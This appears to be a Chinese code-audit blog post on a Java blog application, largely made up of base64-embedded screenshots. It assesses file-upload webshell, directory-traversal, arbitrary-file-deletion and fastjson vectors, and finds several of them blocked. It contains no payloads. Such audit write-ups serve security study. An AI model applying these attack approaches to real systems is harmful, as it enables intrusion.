iYpt6C81WWMYGkgnkThRAQ372ba3jr4MEXViJHcmKmjKzOGdj4ooMLaVE0XwmRHLo7d6cOPN3px6uwy99S7I4jI++7LLpBQdZMy5bzJr4gK4YXYpr+9rHdbm/djQg58i+C0az+MrXbl6pQ8H3iq14f9lj37K53DiSpu/Bg5Le6DE3GZc93juCVEUcAnUIlBPzr8Pk101+P41Z2VyJqvr2fPWgOEJFA2gvR2o3bOF5BvHM2vSdOIlx0geiux5knqy0iTMmziFUDGNHGEcU+I15O7bR3NI5ICrHZP/4YNYeICPPzp08YJ2YDT3lyhKCQsNQkI+2//xGpvKBz/eR3N7rxg4J3LdslCcdCd476U3SGpfhkp8r+Y3z91O3I3XM3HfPzltHn22yWiWn8txvT+GMVwMw2L/jGHIIAhlHPriQw4BojieB6ZMxJcsdn74AWc71pfW60zHaay8JhynxjN8/OJrHKhqt4Dd5vGL397PxGtWMWXrmyR33+dXfZL1H26g+se0Zh1DD9TX67CIImqNC9AzS8SogVsEET4ymgsPcfBkKaK1XA5ARgVjCVmnSzqfhzxQZH008ifn1Dw8K5Dxbk44NOtJTc/gvYNllFqsjvL5xvLh6lCc0o5y544qm7qmLVnC/4s195oqzmSx4BoUzsOzgpng3nf9dtPffgR0ibNtHef2befZU707B0UR/CMiuWuyH3FeClS0UFXfwNnULD5LqaZ6EPQMBKIyhIU33MzC+GA8XTTIMKKrLSU7aRNffXeMsm674TuPXi5uP3opNFNfnEnyzvV8/UOB7dHLwJt45aXr8Dz+Ds8eDmbtTbOI8HSmubaErKSv+Py709T2o72CpYp9u5K5OX4BoRFRsC2pU6BFUYrf9Bu5cVkiUf5uyC2N1BSf59j29Xx3pLTHLg572itG3sFrzyxFduivPdJFxD/wNo/Nahnw0X1RuYRn3ryTKBv6FvCbjxfYlBvM0VQx+GkSfno7DsmPkbxur83/tKsPEjOlySZVnHVqshPHQgldfgNaT1doKkCX8i55m7fQMkj5FEUFyqmPETBrEWovDyRCE63lJ6k59A8KjqfZKi1AdPBDO/sBfBNmoXTzRCrW0VydRf2Rtyg8moKZ7uWDcLvmGQLjE5A7m2ktP0b5lt/RJF7AreU7G60Wmk5up0ZYgn/wNFz8QG91XFxU3M64559GY0PfjcS9eqNNVbqNC0j9odru8gNur+iI04SHCZq7DK2vDxL0tNRkUZ/8HoUHD2Pqtb8EHOMeJ2zZtahdlVh0uehOvUXerv2d5UUxCP9fbiLQ9B6ZWdMInh2NWPRvMv+zE9WtfyMwwoXW3M/J/vxN9E22R7OdJ/2cwLlL0Xh7IRH1NJcdp/qHv1OckmvTv13y9gwnT8ZcmJ4B8hOAwDACZdB69hzpfeyCF0UZc+Z4IG+p5ZvPuoJE0KZqypIy2Zrgym0RnsQryjjY+0GAtvKWFn7YX8V1cX6EhGpgb5WVvgKfhGBWLfAk3FeOk6WVutJ6TuzLZfNJY099JZExZUUEyxO0eCpE9OX1HNqUSfmMGdw7sYntfz7Od+3znRgayiuPBiA7dpYnP7ddXI9fM4OHp1nY++YR1uda95ed9DgrmbM8hHnjVHhqZThioqGukZwThXy3rZoKc0d/+fCrlyOJtHnfn8de97epL3PDIV7fe+ETNIIAJXtKOLfUlSnBWsIppUMbixIZMfMCWTLVFX83OXJLM3U1jaQeyuf7ww00Yt1WR5b9egYrA2v54uV8VKvCmROhQOVopiLine truncated
主要对上传文件进行了重命名和获取后缀,也就是无法通过<code>../</code>进行目录穿越,只能上传webshell,但是此blog不解析jsp</p>
<h1 id=toc-3>失败的任意文件删除</h1>
<p><a id=img19 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707819901462-27e85fd9-2e49-47bf-bbf2-fe555d82dec9.png#averageHue=%23ebeef4&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=326&amp;id=ueb814f87&amp;originHeight=489&amp;originWidth=1026&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=57914&amp;status=done&amp;style=none&amp;taskId=u59e73fdb-071d-4552-aa8f-2fa3472e3af&amp;title=&amp;width=684"><img src="data:image/png;base64,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删除处通过上传的时候赋予的id进行删除操作,查看代码<br>
<a id=img20 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707820017468-9e986821-bce8-4ab4-9454-25fb7a0522db.png#averageHue=%23202329&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=655&amp;id=u0e50f2e9&amp;originHeight=982&amp;originWidth=1917&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=220961&amp;status=done&amp;style=none&amp;taskId=u458d7df7-f7ce-4015-ac83-e929f7e4fd5&amp;title=&amp;width=1278"><img src="data:image/png;base64,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 truncated
可以看到id的类型为int 无法进行目录穿越进行任意文件删除</p>
<h1 id=toc-4>fastjson</h1>
<p><a id=img21 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707820751933-4e98e0fe-ee63-48ed-a181-ae731c734bb6.png#averageHue=%231f2124&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=308&amp;id=ue7ca0275&amp;originHeight=462&amp;originWidth=1081&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=61752&amp;status=done&amp;style=none&amp;taskId=uef64ab03-2215-423a-b0fa-f95d1c8e76f&amp;title=&amp;width=720.6666666666666"><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABDkAAAHOCAYAAACSIdISAAAgAElEQVR4nOzdeXxV1b3//9fOPA8EQkJCRkhCwihCGMMMChUVR77VWuzwa29rr7TaXq3Wtvbbql/1tldr7bXUeaoTFkFBcAAZJGFQSEKChCRkIiNJTuZh//7IQCZCTgYIh/fz8eChOWeftT97rbX3Z5+1917HCAmNMBERERERERERucTZXewAREREREREREQGgwY5RERERERERMQmaJBDRERERERERGyCBjlERERERERExCZokENEREREREREbIIGOURERERERETEJmiQQ0RERERERERsggY5RERERERERMQmaJBDRERERERERGyCBjlERERERERExCZokENEREREREREbIIGOURERERERETEJmiQw4aYXmP48fpl/HX9FOI9zYsdjoiIiIiIiMgFpUEOG+I+bRyro32JiI7m2qmOFzscERERERERkQtKgxzDlGmO4u7Hb2LL49OZZvbtroyq9BwOlTVSW1bAvvSGIY5QREREREREZHhxuNgByOAx8jO4/76Mtr8uaiwiIiIiIiIiF9qQ3slhuHuzfM0sbovV/BCXCzM2ll+vCWGc+8WORERERERERC43Q3Inh+HuzbIVcdw0P4gglwZ2fHP2PTMojuceiCXg0F6+u8eLu66NZFKgE3ZVFpITk/nbe6fIazp7F4JpunDrfddwR2ghzzyYjMcN01gZ5YmPYyOFJ3N5951DbMlu7rR+07Rj/JxJ3LYwmNhAF1yNRkrzitj76VFe2FtOrWH0O56W8g1CZ0zkjqVjmTjGDdfmeorzC9m5/SivJlXSYPQvftM9gscfn85Eo+P6Ivnj3yM7rf/o2xu5d3t9a/mjWP/EQlZ4GOdcpitr4gcw3Xz51jUTWTXZhwAfF5xpoLzUQkpSKi9sziGnscPyjh5cuSyOOfPj2L8rmVe3ZvNNVY9hiIiIiIiIiAwqe28f398OVmGGuzfLr5nOf62bxvJod2pOZPDKy/t4ObkRs+2Ls5c/qxNG4WFxZHxCIB55RaTn1+E4agQToscy0/U0m49W09z+RduBifOjmepTi93oCGZ6V5KadYYy3ImMGMWsyW6k78ptH4gwTRi/ajGP3RxMiFMd6WkFpBc24T02kBkzwphq5rEtvRb6GY9pQvjyRTzx7RDCnGo5lnaa40VN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